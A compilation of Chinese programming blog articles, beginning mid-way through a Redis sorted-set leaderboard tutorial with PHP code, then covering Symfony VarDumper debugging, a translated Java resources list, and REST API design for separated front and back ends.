Redis 命令如下：


bashZINCRBY rank:20150401 5 1



假设还有其他几个用户也增加了积分：


bashZINCRBY rank:20150401 1 2
ZINCRBY rank:20150401 10 3



看看现在有序集合 rank:20150401 中的数据（withscores 参数可以附带获取元素的 score）：


bashZRANGE rank:20150401 0 -1 withscores



bash1) "2"
2) "1"
3) "1"
4) "5"
5) "3"
6) "10"



按照分数从高到低，获取 top10：


bashZREVRANGE rank:20150401 0 9 withscores



bash1) "3"
2) "10"
3) "1"
4) "5"
5) "2"
6) "1"



因为只有三个元素，所以就查询出了这些数据。


如果每天记录当天的积分排行榜，那么其他花样百出的榜单也就简单了。

比如“昨日积分榜”：


bashZREVRANGE rank:20150331 0 9 withscores



利用并集实现多天的积分总和，实现“上周积分榜”：


bashZUNIONSTORE rank:last_week 7 rank:20150323 rank:20150324 rank:20150325 rank:20150326 rank:20150327 rank:20150328 rank:20150329 WEIGHTS 1 1 1 1 1 1 1



这样就将 7 天的积分记录合并到有序集合 rank:last_week 中了。权重因子 WEIGHTS 如果不给，默认就是 1。为了不隐藏细节，特意写出。

那么查询上周积分榜 Top10 的信息就是：


bashZREVRANGE rank:last_week  0 9 withscores



“月度榜”、“季度榜”、“年度榜”等等就以此类推。


下面给出一个 PHP 版的简单实现。使用 Redis 依赖于 PHP 扩展 PhpRedis，代码还依赖于 Carbon 库，用于处理时间。代码量很少，所以就不敲注释了。


php<?php

namespace Blog\Redis;

use \Redis;
use Carbon\Carbon;


class Ranks {

    const PREFIX = 'rank:';

    protected $redis = null;


    public function __construct(Redis $redis) {
        $this->redis = $redis;
    }


    public function addScores($member, $scores) {
        $key = self::PREFIX . date('Ymd');
        return $this->redis->zIncrBy($key, $scores, $member);
    }


    protected function getOneDayRankings($date, $start, $stop) {
        $key = self::PREFIX . $date;
        return $this->redis->zRevRange($key, $start, $stop, true);
    }


    protected function getMultiDaysRankings($dates, $outKey, $start, $stop) {
        $keys = array_map(function($date) {
            return self::PREFIX . $date;
        }, $dates);

        $weights = array_fill(0, count($keys), 1);
        $this->redis->zUnion($outKey, $keys, $weights);
        return $this->redis->zRevRange($outKey, $start, $stop, true);
    }


    public function getYesterdayTop10() {
        $date = Carbon::now()->subDays(1)->format('Ymd');
        return $this->getOneDayRankings($date, 0, 9);
    }


    public static function getCurrentMonthDates() {
        $dt = Carbon::now();
        $days = $dt->daysInMonth;

        $dates = array();
        for ($day = 1; $day <= $days; $day++) {
            $dt->day = $day;
            $dates[] = $dt->format('Ymd');
        }
        return $dates;
    }


    public function getCurrentMonthTop10() {
        $dates = self::getCurrentMonthDates();
        return $this->getMultiDaysRankings($dates, 'rank:current_month', 0, 9);
    }

}




 使用VarDumper进行优雅的PHP调试

作者：JellyBool

来源： 使用VarDumper进行优雅的PHP调试



                    

  原文来自： https://jellybool.com/post/a-brand-new-way-to-test-php-with-symfony-va...




相信很多PHP开发者在写代码的时候都会经常用到var_dump()这个函数，很多人都会直接用类似die(var_dump($var))来查看一个变量或者一个实例到底是长什么样的，稍微有一些人可能还直接封装过：比如直接叫一个vdd()等，以便于自己在调试自己的代码的时候使用。这种方式一直陪伴着我走过了这么久的编程时光，以至于造成了对var_dump()出来的现实样式都有一点审美疲劳了：因为var_dump()出来的可以说是完全没有什么美感啊，至少对于像我们这些代码工作者来说：你竟然没有高亮！！不能接受。


相遇


然后之前苦于没有找到很好的解决方案，也就是一直这样忍受着过来了，直到昨天我发现了这货：


Symfony VarDumper


测试样式是长这样的：





我第一眼看到这个的时候就马上爱上这货了，忍不住要写点东西来分享一下：


先来说说Symfony VarDumper的优点，Symfony VarDumper不仅可以做到像var_dump()一样调试，而且可以做得更好，并不是只靠脸生活的：



	你可以轻松配置输出数据的格式：HTML 或者 命令行样式


	对于一些可能重复太多的数据，VarDumper智能过滤将其折叠起来，并且你可以很完美地看到你的数据的结构是什么样的，不清楚的话等下可以看下面的截图。


	每个打印出来的对象或变量都有特定的样式。




安装使用之


说了这么多之后，我们终于要来一睹庐山真面目了。首先是安装，最简单的方法就是直接使用composer安装，创建一个新的文件夹php/，我们来测试一下：


cd php/

composer require symfony/var-dumper




再来创建一个index.php，将自动加载文件autoload.php包含进来：


<?php
require __DIR__.'/vendor/autoload.php';




首先在index.php写一个简单的数组来测试一下：


<?php
require __DIR__.'/vendor/autoload.php';

$var = array(
    'a simple string' => 'in an array of 5 elements',
    'a float' => 1.0,
    'an integer' => 1,
    'a boolean' => true,
    'an empty array' => array(),
);
dump($var);





出来的结果是这样的：





有没有觉得很不错！这里还要说一点的是：如果你觉得Symfony VarDumper自带的样式不够美观，你可以直接到Dumper/HtmlDumper.php去修改你的自己的样式，比如你很喜欢github风，你完全可以自己在这个文件里面写你自己的css样式。


上面对于数组的表现Symfony VarDumper貌似做得很完美，不仅给我们舒适的高亮，还很清晰的给了我们这个数组的结构。那么对于php中的stdObject，Symfony VarDumper的表现会是如何呢？我们来看看：


class Test {
    public $prop1 = 10;
    private $prop2 = 20;
    protected $prop3 = 30;
    private $prop4 = 40;

    public function __construct($value) {
        $this->undefinedProp = $value;
    }
}

$test = new Test(50);

dump($test);




出来的结果是这样的，注意它的高粱颜色有不一样了：





这里可以看到：public就用 + 表示，private 就用 - 表示，而protected 就用 # 表示。不见如此，如果你仔细看图，你会看到当鼠标浮在对应的属性上面的时候，会有一个小小的提示框来提醒我们这个具体是什么，很完美啊。


我们既然需要测试，那么在类中添加对应的方法呢，这个到底会给我们什么样的调试反馈呢？


class Test {
    public $methodOne;
    protected $methodTwo;

    public function __construct() {
        $this->methodTwo = function() {
            return 'I am method 2';
        };
    }

    public function buildFunction() {
        $this->methodThree = function() {
            return 'I am method 3';
        };
    }

    public function __call($method, $args)
    {
        if (isset($this->$method)) {
            $func = $this->$method;
            return call_user_func_array($func, $args);
        }
    }

}

$test = new Test();
$methodOne = function() {
    return 'I am method 1';
};
$test->methodOne = $methodOne;
$test->buildFunction();
$test->methodOne();

dump($test);





表现依然很惊艳：





在上图中，你不仅可以很清晰地知道各个方法的类名是什么，也可以知道this代表的是什么，甚至还可以知道这个代码段是从第几行开始第几行结束的！666...


最后


可能很多同学看了这篇文章之后会觉得我们在自定义样式时直接改文件不太好，因为这个时候，如果你切换到其他的项目，你还是得重新再安装一次，难道还得再改一次？不是这样的，其实我推荐大家的做法是：全局安装Symfony VarDumper，这样不仅可以解决样式一次性问题，还可以让你在任何项目中使用Symfony VarDumper，安装方法如下：


第一步，全局安装：


composer global require symfony/var-dumper;




第二：配置php.ini


在php.ini中找到auto_prepend_file，然后写上你相对应的路径，比如像下面这样的：


 auto_prepend_file = ${HOME}/.composer/vendor/autoload.php 




最后，更新composer


直接命令行执行：


composer global update




到这里，你就可以配置好一个很优雅的调试界面了。反正我是很喜欢，不知道你是什么感受。


Happy Hacking


2015 优秀文章 - Java


 国外程序员整理的Java资源大全

作者：HelloCode

来源： 国外程序员整理的Java资源大全



                    
好资源要分享
原文 译者 唐尤华 翻译自 github akullpp


构建


这里搜集了用来构建应用程序的工具。



	
Apache Maven：Maven使用声明进行构建并进行依赖管理，偏向于使用约定而不是配置进行构建。Maven优于Apache Ant。后者采用了一种过程化的方式进行配置，所以维护起来相当困难。

	
Gradle：Gradle采用增量构建。Gradle通过Groovy编程而不是传统的XML声明进行配置。Gradle可以很好地配合Maven进行依赖管理，并且把Ant脚本当作头等公民。



字节码操作


编程操作Java字节码的函数库。



	
ASM：通用底层字节码操作及分析。

	
Javassist：尝试简化字节码编辑。

	
Byte Buddy：使用“流式API”进一步简化字节码生成。



代码分析


软件度量和质量评估工具。



	
Checkstyle：对编程规范和标准进行静态分析。

	
FindBugs：通过字节码静态分析找出潜在Bug。

	
PMD：对源代码中不良编程习惯进行分析。

	
SonarQube：通过插件集成其它分析组件，提供评估最终结果报告。



编译器


创建分析器、解释器和编译器的框架。



	
ANTLR：功能完备的自顶向下分析复杂框架。

	
JavaCC：相对ANTLR更具体，上手略为简单。支持语法语法超前预测（syntactic lookahead）。



持续集成


支持持续集成、测试和应用发布的工具。



	
Bamboo：Atlassian的持续集成（CI）解决方案，包含很多其它产品。

	
CircleCI：提供托管服务，可免费试用。

	
Codeship：提供托管服务，提供有限免费计划。

	
Go：ThoughtWork开源持续集成解决方案。

	
Jenkins：提供基于服务器的部署服务。

	
TeamCity：JetBrain持续集成方案，提供免费版。

	
Travis：提供托管服务，常用于开源项目。



数据库


简化数据库交互的工具、库。



	
Flyway：使用Java API轻松完成数据库迁移。

	
H2：小型SQL数据库，以内存操作著称。

	
JDBI：便捷的JDBC抽象。

	
jOOQ：基于SQL schema生成类型安全代码。

	
Presto：针对大数据的分布式SQL查询引擎。

	
Querydsl：针对Java的类型安全统一查询。



日期和时间


处理日期和时间的函数库。



	
Joda-Time：Java 8出现之前，它是日期、时间处理的标准函数库。

	
Time4J：Java高级日期、时间函数库。



依赖注入


帮助代码实现控制反转模式的函数库。



	
Dagger ：编译期的注入框架，没有使用反射，主要用于Android开发。

	
Guice：轻量级注入框架，功能强大可与Dagger媲美。



开发库


从基础层次上改进开发流程。



	
AspectJ：面向切面编程扩展，与程序无缝连接。

	
Auto：源代码生成器集合。

	
DCEVM：通过修改JVM，在运行时可无限次重定义已加载的类。OpenJDK 7、8已提供支持，详情可查看这个分支（fork）。

	
JRebel：商用软件，无需重新部署可即时重新加载代码及配置。

	
Lombok：代码生成器，旨在减少Java冗余代码。

	
RxJava：使用JVM中可观察序列，创建异步、基于事件应用程序的函数库。

	
Spring Loaded：另一个JVM类重载代理。

	
vert.x：JVM多语言事件驱动应用框架。



分布式应用


用来开发分布式、具有容错性应用程序的函数库和框架。



	
Akka：构建并发、分布式和具有容错功能的事件驱动应用程序所需的工具包和运行时。

	
Apache Storm：分布式实时计算系统。

	
Apache ZooKeeper：为大型分布式系统，使用分布式配置、同步和命名注册提供协调服务。

	
Hazelcast：分布式、高可扩展性内存网格。

	
Hystrix：为分布式系统提供延迟和容错处理。

	
JGroups：一组提供可靠消息传输的工具包，可用来创建集群。集群中的节点可互相发送消息。

	
Quasar：为JVM提供轻量级线程和Actor。



发布


使用本机格式分发Java应用程序的工具。



	
Bintray：对二进制发布进行版本控制，可与Maven或Gradle配合使用。

	
IzPack：为跨平台部署建立授权工具。

	
Launch4j：将JAR包装为小巧的Windows可执行文件。

	
packr：将程序JAR、资源和JVM打包成Windows、Linux和Mac OS X的本机文件。



文档处理


用来处理Office格式文档的函数库。



	
Apache POI：支持OOXML （XLSX、DOCX、PPTX）以及 OLE2 （XLS, DOC or PPT）格式的文档。

	
jOpenDocument：处理OpenDocument格式文档。



游戏开发


游戏开发框架。



	
jMonkeyEngine：支持现代3D开发的游戏引擎。

	
libGDX：全面的跨平台高级开发框架。

	
LWJGL：抽象了OpenGL、CL、AL等函数库的健壮框架。



GUI


用来创建现代图形用户界面的函数库。



	
JavaFX：Swing的继承者。

	
Scene Builder：JavaFX虚拟布局工具。



高性能


与高性能计算有关的资源，包括集合以及很多具体功能的函数库。



	
Disruptor：线程间消息函数库。

	
fastutil：快速紧凑的Java类型安全集合。

	
GS Collections：受Smalltalk启发的集合框架。

	
hftc：Hash set和hash map。

	
HPPC：基本类型集合。

	
Javolution：针对实时嵌入式系统的函数库。

	
Trove：基本类型集合。



IDE


视图简化开发的集成开发环境。



	
Eclipse：后台做了很多工作，以其丰富插件著称。

	
IntelliJ IDEA：支持很多JVM语言，为Android开发提供了很多不错的选项。其商业版本主要面向企业用户。

	
NetBeans：集成了很多Java SE和Java EE特性，包括数据库访问、服务器、HTML5以及AngularJS。



图像处理


用来帮助创建、评估或操作图形的函数库。



	
Picasso：Android下载图像和图像缓存函数库。

	
ZXing：多种格式的一维、二维条形码处理函数库。



JSON


简化JSON处理的函数库。



	
Gson：将Java对象序列化为JSON及反向操作。使用时提供了很好的性能。

	
Jackson：与GSON类似，但如果需要频繁初始化Jackson库会带来性能问题。



JVM和JDK


目前的JVM、JDK实现。



	
JDK 9：JDK 9早期访问版本。

	
OpenJDK：开源实现。



日志


记录应用程序的日志函数库。



	
Apache Log4j 2：对之前版本进行了完全重写。现在的版本具备一个强大的插件和配置架构。

	
kibana：对日志进行分析并进行可视化。

	
Logback：Log4j原班人马作品。被证明是一个强健的日志函数库，通过Groovy提供了很多有意思的配置选项。

	
logstash：日志文件管理工具。

	
SLF4J：日志抽象层，需要与某个具体日志框架配合使用。



机器学习


提供具体统计算法的工具。其算法可从数据中学习。



	
Apache Hadoop：对商用硬件集群上大规模数据存储和处理的开源软件框架。

	
Apache Mahout：专注协同过滤、聚类和分类的可扩展算法。

	
Apache Spark：开源数据分析集群计算框架。

	
h2o：用作大数据统计的分析引擎。

	
Weka：用作数据挖掘的算法集合，包括从预处理到可视化的各个层次。



消息


在客户端之间进行消息传递，确保协议独立性的工具。



	
Apache ActiveMQ：实现JMS的开源消息代理（broker），可将同步通讯转为异步通讯。

	
Apache Kafka：高吞吐量分布式消息系统。

	
JBoss HornetQ：清晰、准确、模块化且方便嵌入的消息工具。

	
JeroMQ：ZeroMQ的纯Java实现。



其它


其它资源。



	
Design Patterns：实现并解释了最常见的设计模式。

	
Jimfs：内存文件系统。

	
Lanterna：类似curses的简单console文本GUI函数库。

	
LightAdmin：可插入式CRUD UI函数库，可用于快速应用开发。

	
Metrics：创建自己的软件度量或者为支持框架添加度量信息，通过JMX或HTTP进行发布或者发送到数据库。

	
OpenRefine：用来处理混乱数据的工具，包括清理、转换、使用Web Service进行扩展并将其关联到数据库。

	
RoboVM：Java编写原生iOS应用。



自然语言处理


用来专门处理文本的函数库。



	
Apache OpenNL：处理类似分词等常见任务的工具。

	
CoreNLP：斯坦佛的CoreNLP提供了一组基础工具，可以处理类似标签、实体名识别和情感分析这样的任务。

	
LingPipe：一组可以处理各种任务的工具集，支持POS标签、情感分析等。

	
Mallet：统计学自然语言处理、文档分类、聚类、主题建模等。



网络


网络编程函数库。



	
Netty：构建高性能网络应用程序开发框架。

	
OkHttp ：一个Android和Java应用的HTTP+SPDY客户端。



ORM


处理对象持久化的API。



	
EclipseLink：支持许多持久化标准，JPA、JAXB、JCA和SDO。

	
Hibernate：广泛使用、强健的持久化框架。Hibernate的技术社区非常活跃。

	
Ebean：支持快速数据访问和编码的ORM框架。



PDF


用来帮助创建PDF文件的资源。



	
Apache FOP：从XSL-FO创建PDF。

	
Apache PDFBox：用来创建和操作PDF的工具集。

	
DynamicReports：JasperReports的精简版。

	
iText：一个易于使用的PDF函数库，用来编程创建PDF文件。注意，用于商业用途时需要许可证。

	
JasperReports：一个复杂的报表引擎。



REST框架


用来创建RESTful 服务的框架。



	
Dropwizard：偏向于自己使用的Web框架。用来构建Web应用程序，使用了Jetty、Jackson、Jersey和Metrics。

	
Jersey：JAX-RS参考实现。

	
RESTEasy：经过JAX-RS规范完全认证的可移植实现。

	
Retrofit：一个Java类型安全的REST客户端。

	
Spark：受到Sinatra启发的Java REST框架。

	
Swagger：Swagger是一个规范且完整的框架，提供描述、生产、消费和可视化RESTful Web Service。



科学


用于科学计算和分析的函数库。



	
SCaVis：用于科学计算、数据分析和数据可视化环境。



搜索


文档索引引擎，用于搜索和分析。



	
Apache Solr ：一个完全的企业搜索引擎。为高吞吐量通信进行了优化。

	
Elasticsearch：一个分布式、支持多租户（multitenant）全文本搜索引擎。提供了RESTful Web接口和无schema的JSON文档。



安全


用于处理安全、认证、授权或会话管理的函数库。



	
Apache Shiro：执行认证、授权、加密和会话管理。

	
Cryptomator：在云上进行客户端跨平台透明加密。

	
Keycloak：为浏览器应用和RESTful Web Service集成SSO和IDM。目前还处于beta版本，但是看起来非常有前途。

	
PicketLink：PicketLink是一个针对Java应用进行安全和身份认证管理的大型项目（Umbrella Project）。

	
Spring Security：专注认证、授权和多维度攻击防护框架。



序列化


用来高效处理序列化的函数库。



	
FlatBuffers：序列化函数库，高效利用内存，无需解包和解析即可高效访问序列化数据。

	
Kryo：快速和高效的对象图形序列化框架。

	
MessagePack：一种高效的二进制序列化格式。



服务器


用来部署应用程序的服务器。



	
Apache Tomcat：针对Servlet和JSP的应用服务器，健壮性好且适用性强。

	
Apache TomEE：Tomcat加Java EE。

	
GlassFish：Java EE开源参考实现，由Oracle资助开发。

	
Jetty：轻量级、小巧的应用服务器，通常会嵌入到项目中。

	
WildFly：之前被称作JBoss，由Red Hat开发。支持很多Java EE功能。



模版引擎


对模板中表达式进行替换的工具。



	
Apache Velocity：提供HTML页面模板、email模板和通用开源代码生成器模板。

	
FreeMarker：通用模板引擎，不需要任何重量级或自己使用的依赖关系。

	
Handlebars.java：使用Java编写的模板引擎，逻辑简单，支持语义扩展（semantic Mustache）。

	
JavaServer Pages：通用网站模板，支持自定义标签库。

	
Thymeleaf：旨在替换JSP，支持XML文件。



测试


测试内容从对象到接口，涵盖性能测试和基准测试工具。



	
Apache JMeter：功能性测试和性能评测。

	
Arquillian：集成测试和功能行测试平台，集成Java EE容器。

	
AssertJ：支持流式断言提高测试的可读性。

	
JMH：JVM微基准测试工具。

	
JUnit：通用测试框架。

	
Mockito：在自动化单元测试中创建测试对象，为TDD或BDD提供支持。

	
Selenium：为Web应用程序提供可移植软件测试框架。

	
Selenide：为Selenium提供精准的周边API，用来编写稳定且可读的UI测试。

	
TestNG ：测试框架。

	
VisualVM：提供可视化方式查看运行中的应用程序信息。



工具类


通用工具类函数库。



	
Apache Commons：提供各种用途的函数，比如配置、验证、集合、文件上传或XML处理等。

	
Guava：集合、缓存、支持基本类型、并发函数库、通用注解、字符串处理、I/O等。

	
javatuples：正如名字表示的那样，提供tuple支持。尽管目前tuple的概念还有留有争议。



网络爬虫


用于分析网站内容的函数库。



	
Apache Nutch ：可用于生产环境的高度可扩展、可伸缩的网络爬虫。

	
Crawler4j：简单的轻量级爬虫。

	
JSoup ：刮取、解析、操作和清理HTML。



Web框架


用于处理Web应用程序不同层次间通讯的框架。



	
Apache Tapestry：基于组件的框架，使用Java创建动态、强健的、高度可扩展的Web应用程序。

	
Apache Wicket：基于组件的Web应用框架，与Tapestry类似带有状态显示GUI。

	
Google Web Toolkit：一组Web开发工具集，包含在客户端将Java代码转为JavaScript的编译器、XML解析器、RCP API、JUnit集成、国际化支持和GUI控件。

	
Grails：Groovy框架，旨在提供一个高效开发环境，使用约定而非配置、没有XML并支持混入（mixin）。

	
Play： 使用约定而非配置，支持代码热加载并在浏览器中显示错误。

	
PrimeFaces：JSF框架，提供免费版和带技术支持的商业版。包含一些前端组件。

	
Spring Boot：微框架，简化了Spring新程序的开发过程。

	
Spring：旨在简化Java EE的开发过程，提供依赖注入相关组件并支持面向切面编程。

	
Vaadin：基于GWT构建的事件驱动框架。使用服务端架构，客户端使用Ajax。

	
Ninja：Java全栈Web开发框架。非常稳固、快速和高效。

	
Ratpack：一组Java开发函数库，用于构建快速、高效、可扩展且测试完备的HTTP应用程序。



资源


社区


活跃的讨论区。



	
r/java：Java社区的Subreddit。

	
stackoverflow：问答平台。



有影响的书籍


具有广泛影响且值得阅读的Java经典书籍。



	Effective Java (2nd Edition)

	
Java Concurrency in Practice | Java并发编程实战


	
Thinking in Java | 中文版




播客


可以一边编程一边听的东西。



	The Java Posse



Twitter


值得关注的帐号。



	
Adam Bien：自由职业者、作家、JavaONE明星演讲者、顾问、Java Champion。

	
Antonio Goncalves：Java Champion、JUG Leader、Devoxx France、Java EE 6/7、JCP、作家。

	
Arun Gupta：Java Champion、JavaONE明星演讲者、JUG Leader、Devoxx4Kids成员、Red Hatter。

	
Bruno Borges：Oracle产品经理、Java Jock。

	
Ed Burns：Oracle技术团队顾问。

	
Eugen Paraschiv：Spring安全课程作者。

	
James Weaver：Java、JavaFX、IoT开发者、作者和演讲者。

	
Java EE：Java EE Twitter官方账号。

	
Java Magazine：Java杂志官方账号。

	
Java.net：Java.net官方账号。

	
Java：Java Twitter官方账号。

	
Javin Paul：知名Java博客作者。

	
Lukas Eder：Data Geekery（jOOQ）创始人兼CEO。

	
Mario Fusco：RedHatter、JUG协调、活跃讲师和作者。

	
Mark Reinhold：Oracle首席架构师、Java平台开发组。

	
Martijn Verburg：London JUG co-leader、演讲者、作家、Java Champion等。

	
OpenJDK：OpenJDK官方账号。

	
Reza Rahman：Java EE、GlassFish、WebLogic传道者、作家、演讲者、开源黑客。

	
Simon Maple：Java Champion、virtualJUG创始人、LJC leader、RebelLabs作者。

	
Stephen Colebourne： Java Champion、演讲者。

	
Tim Boudreau：作家、NetBeans大牛。

	
Trisha Gee：Java Champion、演讲者。



网站


值得阅读的网站。



	Google Java Style

	InfoQ

	Java Code Geeks

	Java.net

	Javalobby

	JavaWorld

	RebelLabs

	The Java Specialist’ Newsletter

	TheServerSide.com

	Thoughts On Java

	
ImportNew（ImportNew 专注 Java 技术）




 前后端完全分离之 API 设计

作者：arccode

来源： 前后端完全分离之 API 设计



                    
背景

API 就是开发者使用的界面。我的目标不仅是能用，而且好用，跨平台（PC, Android, IOS, etc...）使用。本文将详细介绍 API 的设计及异常处理，并将异常信息进行封装友好地反馈给前端.

上篇文章 前后端完全分离初探 只是讲了些宽泛的概念，接下来的文章将直接上干货，干货的源码会挂在 GitHub 上。

前后端完全分离后，前端和后端如何交互？答：通过双方协商好的API。

接下来我分享我自己设计的 API 接口，欢迎各位朋友指教。

API 设计理念


	将涉及的实体抽象成资源，即按 id 访问资源，在 url 上做文章，以后再也不用为 url 起名字而苦恼了；


	
使用 HTTP 动词对资源进行 CRUD（增删改查）：

get -> 查, post -> 增, put -> 改, delete -> 删



	
URL 命名规则，对于资源无法使用一个单数名词表示的情况，我使用中横线 - 连接


	资源采用名词命名，e.g：产品 -> product


	新增资源，e.g：新增产品 url -> /product, verb -> POST


	修改资源，e.g：修改产品 url -> /products/{id}, verb -> PUT


	资源详情，e.g：指定产品详情 url -> /products/{id}, verb -> GET


	删除资源，e.g：删除产品 url -> /products/{id}, verb -> DELETE


	资源列表，e.g：产品列表 url -> /products, verb -> GET


	资源关联关系，e.g：收藏产品 url -> /products/{id}/star, verb -> PUT


	资源关联关系，e.g：删除收藏产品 url -> /products/{id}/star, verb -> DELETE








目前我 API 的设计只涉及这两点，至于第三点 HATEOAS(Hypermedia As The Engine Of Application State) 那就由读者自己去选择了，

<!--more-->

项目地址

本文中只涉及了设计的理念，具体的实现请下载源码 rest-api，项目内写了比较详细的注释。

项目实战

实战将从业务场景出发，详细介绍如何使用 HTTP verb 对资源进行操作（状态转移），使用 JSON 返回结果（资源表述），并定义 JSON 的基础结构。

JSON 结构

requestParams：

{
}

responseBody：

{
  "meta": {
  },
  "data": {
  }
}

meta 中封装操作成功或失败的消息，data 中封装返回的具体数据。

当新建商品或更新产品时，相关属性封装在 JSON 中，通过 POST 或 PUT 发送。

{
  "name": "Apple Watch SPORT",
  "description": "Sport 系列的表壳材料为轻巧的银色及深空灰色阳极氧化铝金属，强化 Ion-X 玻璃材质为显示屏提供保护。搭配高性能 Fluoroelastomer 表带，共有 5 款缤纷色彩。"
}

当用户对商品进行操作后，将得到响应结果。GET, POST, PUT 操作成功，返回如下结果

{
  "meta": {
    "code": 201,
    "message": "创建成功"
  },
  "data": {
    "id": "5308e9c2-a4ce-4dca-9373-cc1ffe63d5f9",
    "name": "Apple Watch SPORT",
    "description": "Sport 系列的表壳材料为轻巧的银色及深空灰色阳极氧化铝金属，强化 Ion-X 玻璃材质为显示屏提供保护。搭配高性能 Fluoroelastomer 表带，共有 5 款缤纷色彩。"
  }
}

DELETE 操作成功，返回如下结果

{
  "meta": {
    "code": 204,
    "message": "删除成功"
  }
}

业务场景一

电商网站的管理员对商品进行新增、编辑、删除、浏览的操作，暂时不考虑认证授权，只关注对商品的操作。

为了以后便于做分布式，所有资源 id（表主键）均采用 uuid。

新增商品


	url: /api/product


	method: POST


	
requestParams:

{
  "name": "Apple Watch SPORT",
  "description": "Sport 系列的表壳材料为轻巧的银色及深空灰色阳极氧化铝金属，强化 Ion-X 玻璃材质为显示屏提供保护。搭配高性能 Fluoroelastomer 表带，共有 5 款缤纷色彩。"
}



	
responseBody

{
  "meta": {
    "code": 201,
    "message": "创建成功"
  },
  "data": {
    "id": "5308e9c2-a4ce-4dca-9373-cc1ffe63d5f9",
    "name": "Apple Watch SPORT",
    "description": "Sport 系列的表壳材料为轻巧的银色及深空灰色阳极氧化铝金属，强化 Ion-X 玻璃材质为显示屏提供保护。搭配高性能 Fluoroelastomer 表带，共有 5 款缤纷色彩。"
  }
}





编辑商品


	url: /api/products/{id}


	method: PUT


	
requestParams:

{
  "name": "iPhone 6",
  "description": "此次苹果发布会发布了iPhone 6与iPhone 6 Plus，搭载iOS 8，尺寸分别是4.7和5.5英寸。外观设计不再棱角分明，表层玻璃边有一个弧度向下延伸，与阳极氧化铝金属机身边框衔接。机身背部采用三段式设计。机身更薄，续航能力更强。"
}



	
responseBody

{
  "meta": {
    "code": 200,
    "message": "修改成功"
  },
  "data": {
    "id": "5308e9c2-a4ce-4dca-9373-cc1ffe63d5f9",
    "name": "iPhone 6",
    "description": "此次苹果发布会发布了iPhone 6与iPhone 6 Plus，搭载iOS 8，尺寸分别是4.7和5.5英寸。外观设计不再棱角分明，表层玻璃边有一个弧度向下延伸，与阳极氧化铝金属机身边框衔接。机身背部采用三段式设计。机身更薄，续航能力更强。"
  }
}





删除商品


	url: /api/products/{id}


	method: DELETE


	
responseBody

{
  "meta": {
    "code": 204,
    "message": "删除成功"
  },
  "data": {}
}





获取商品详情


	url: /api/products/{id}


	method: GET


	
responseBody:

//删除前

{
  "meta": {
    "code": 200,
    "message": "查询成功"
  },
  "data": {
    "id": "5308e9c2-a4ce-4dca-9373-cc1ffe63d5f9",
    "name": "Apple Watch SPORT",
    "description": "Sport 系列的表壳材料为轻巧的银色及深空灰色阳极氧化铝金属，强化 Ion-X 玻璃材质为显示屏提供保护。搭配高性能 Fluoroelastomer 表带，共有 5 款缤纷色彩。"
  }
}


//删除后
{
  "meta": {
    "code": 404,
    "message": "指定产品不存在"
  }
}





获取商品列表(未分页)


	url: /api/products


	method: GET


	
responseBody

{
  "meta": {
    "code": 200,
    "message": "获取全部商品成功"
  },
  "data": [
    {
      "id": "5308e9c2-a4ce-4dca-9373-cc1ffe63d5f9",
      "name": "Apple Watch SPORT",
      "description": "Sport 系列的表壳材料为轻巧的银色及深空灰色阳极氧化铝金属，强化 Ion-X 玻璃材质为显示屏提供保护。搭配高性能 Fluoroelastomer 表带，共有 5 款缤纷色彩。"
    },
    {
      "id": "9db1992a-c342-4ff0-a2a4-aeb3dbfd93f6",
      "name": "Apple Watch SPORT",
      "description": "Sport 系列的表壳材料为轻巧的银色及深空灰色阳极氧化铝金属，强化 Ion-X 玻璃材质为显示屏提供保护。搭配高性能 Fluoroelastomer 表带，共有 5 款缤纷色彩。"
    },
    {
      "id": "4481619b-45c5-4729-9539-f93bb01f10d8",
      "name": "Apple Watch SPORT",
      "description": "Sport 系列的表壳材料为轻巧的银色及深空灰色阳极氧化铝金属，强化 Ion-X 玻璃材质为显示屏提供保护。搭配高性能 Fluoroelastomer 表带，共有 5 款缤纷色彩。"
    }
  ]
}





业务场景二

业务场景一中只涉及了单个资源的操作，但实际场景中还有些关联操作；如用户去电商网站浏览商品，并收藏了一些商品，之后又取消收藏了部分商品。

暂时不考虑用户认证授权，以后加了token后，用户信息可以从中获取。

收藏商品


	url: /api/products/{id}/star


	method: PUT


	
responseBody

{
  "meta": {
    "code": 200,
    "message": "收藏商品[5308e9c2-a4ce-4dca-9373-cc1ffe63d5f9]成功"
  },
  "data": [
    {
      "id": "5308e9c2-a4ce-4dca-9373-cc1ffe63d5f9",
      "name": "iPhone 6",
      "description": "此次苹果发布会发布了iPhone 6与iPhone 6 Plus，搭载iOS 8，尺寸分别是4.7和5.5英寸。外观设计不再棱角分明，表层玻璃边有一个弧度向下延伸，与阳极氧化铝金属机身边框衔接。机身背部采用三段式设计。机身更薄，续航能力更强。"
    }
  ]
}





取消收藏商品


	url: /api/products/{id}/star


	method: DELETE


	
responseBody

{
  "meta": {
    "code": 200,
    "message": "删除收藏商品[5308e9c2-a4ce-4dca-9373-cc1ffe63d5f9]成功"
  },
  "data": []
}





自定义异常和异常处理

所有自定义异常继承 RuntimeException，在业务层抛出，统一在 Controller 层进行处理。

异常分为全局异常和局部异常，例如 http method unsupported (405)，unauthorized (401)，accessDenied (403)，not found (404) 等属于全局异常。针对对独立业务的一些异常属于局部异常，例如产品编辑出错。 

异常在 Controller 中进行处理，并封装成 json 返回给前端，封装后的数据如下，相关实现见源码

{
  "meta": {
    "code": 404,
    "message": "指定产品不存在"
  }
}

{
  "meta": {
    "code": 405,
    "message": "Request method 'POST' not supported"
  }
}

项目运行截图部分
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 前后端完全分离初探

作者：arccode

来源： 前后端完全分离初探



                    
核心思路


后端负责业务逻辑处理, 前端负责展示逻辑的处理.


背景



	2013年3月,首次接触了underscore.js这个区区45k大小的js库, 在使用其提供的简单模板完成表格异步分页后,从此我开始慢慢践行前后端完全分离的架构.


	2013年7月,我接触到了REST这种重用HTTP应用协议的架构, 更坚定了我践行前后端分离的决心.


	2014年3月,国内刮起了nodeJS的风暴, 此时我采用国外的一个开源项目MEAN开发了一套完整的CMS系统, 此次开发学习到了API接口如何标准化, API具体的设计参考了github API, Instagram API.


	2015年1月, 公司开发新产品, 需要新开发一套支持平台及数据下发平台, 在该产品中我主要参与API的设计, 并主导开发支撑平台, 下面我就介绍下这套支撑平台.




工具


工欲善其事, 必先利其器, 先介绍下自己使用的工具


IntelliJ IDEA


强大的Java集成开发工具, 没有之一.


Webstorm


强大的HTML,CSS,Javascript集成开发工具, 没有之一.


Sublime


强大的文本编辑工具, 目前我主要用于临时文件查看, 临时json数据格式化查看, 集成了plugin后, 它的功能会吓到人.


Navicat


小巧强大的关系数据库建模工具, 相当易用.


Cornerstone


强大的版本控制客户端.

